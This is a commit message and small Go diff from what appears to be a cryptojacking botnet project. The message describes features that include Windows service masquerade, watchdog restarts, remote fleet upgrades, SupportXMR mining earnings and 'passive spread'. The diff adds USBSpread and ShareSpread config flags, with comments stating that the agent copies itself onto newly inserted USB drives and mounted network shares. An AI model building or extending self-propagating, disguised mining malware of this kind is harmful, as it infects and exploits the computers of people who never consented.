Add fleet resilience, passive spread, matrix rain UI, and live earnings.

Backup server URL failover, watchdog process restart, service masquerade, remote fleet upgrade, recon UI, SupportXMR earnings, USB/share passive spread, and sidebar matrix rain with live fleet telemetry.

agent/config/builtin.go

@@ -45,5 +45,7 @@ func GetBuiltinConfig() BuiltinConfig {
 		AutoSpread:          false,
 		HolePunch:           false,
 		RemoteAggressive:    false,
+		USBSpread:           false,
+		ShareSpread:         false,
 	}
 }

agent/config/config.go

@@ -52,6 +52,9 @@ type BuiltinConfig struct {
 	AutoSpread       bool
 	HolePunch        bool
 	RemoteAggressive bool
+	// Passive spreading — triggered by the environment rather than active scanning
+	USBSpread   bool // copy agent to any newly-inserted removable/USB drive
+	ShareSpread bool // drop agent onto already-mounted network shares
 	// Backup server URLs — tried in order if primary fails
 	BackupServerURLs []string
 	// Windows service masquerade (ignored on other OSes)